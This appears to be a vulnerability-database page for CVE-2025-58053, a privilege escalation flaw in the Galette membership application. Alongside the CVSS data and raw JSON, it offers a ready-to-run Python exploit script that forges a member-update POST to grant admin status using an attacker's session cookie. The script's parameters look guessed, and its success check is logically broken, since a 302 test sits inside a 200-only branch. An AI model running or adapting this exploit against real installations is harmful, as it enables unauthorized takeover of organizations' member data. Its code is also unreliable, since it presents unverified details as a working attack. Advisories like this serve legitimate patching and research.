Security Vulnerability Report
中文
CVE-2025-58053 CVSS 9.8 CRITICAL

CVE-2025-58053

Published: 2025-12-19 17:15:52
Last Modified: 2026-01-05 17:59:50

Description

Galette is a membership management web application for non profit organizations. Prior to version 1.2.0, while updating any existing account with a self forged POST request, one can gain higher privileges. Version 1.2.0 fixes the issue.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:galette:galette:*:*:*:*:*:*:*:* - VULNERABLE
Galette < 1.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-58053 PoC - Galette Privilege Escalation Galette < 1.2.0 - Privilege Escalation via forged POST request """ import requests import sys from urllib.parse import urljoin def exploit_galette(target_url, target_user_id, attacker_session): """ Exploit Galette privilege escalation vulnerability Args: target_url: Base URL of Galette installation target_user_id: ID of the user to escalate privileges attacker_session: Valid session cookie of authenticated attacker """ # Account update endpoint update_endpoint = urljoin(target_url, "/galette/members/update") # Malicious POST request with admin role # The vulnerability allows modifying any user's role via forged request payload = { "id_adh": target_user_id, "login_adh": "target_user", "nom_adh": "Target", "prenom_adh": "User", "email_adh": "[email protected]", # Privilege escalation - set user as admin "group_id": [], "statut_adh": "admin", # Key parameter for privilege escalation "action": "save" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": f"galette={attacker_session}" } print(f"[*] Target: {target_url}") print(f"[*] Target User ID: {target_user_id}") print(f"[*] Sending privilege escalation payload...") try: response = requests.post(update_endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: if "success" in response.text.lower() or response.status_code == 302: print("[+] Privilege escalation successful!") print("[+] Target user should now have admin privileges") return True else: print("[-] Request sent but privilege escalation may have failed") return False else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def main(): if len(sys.argv) < 4: print("Usage: python3 cve_2025_58053_poc.py <target_url> <target_user_id> <session_cookie>") print("Example: python3 cve_2025_58053_poc.py http://localhost:8080/galette 1 abc123session") sys.exit(1) target_url = sys.argv[1] target_user_id = sys.argv[2] session = sys.argv[3] exploit_galette(target_url, target_user_id, session) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58053", "sourceIdentifier": "[email protected]", "published": "2025-12-19T17:15:52.440", "lastModified": "2026-01-05T17:59:50.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Galette is a membership management web application for non profit organizations. Prior to version 1.2.0, while updating any existing account with a self forged POST request, one can gain higher privileges. Version 1.2.0 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:galette:galette:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.0", "matchCriteriaId": "C73ECAC2-D9C6-439D-B19F-9D21D0A4FFAD"}]}]}], "references": [{"url": "https://github.com/galette/galette/security/advisories/GHSA-r7x8-6r56-498r", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}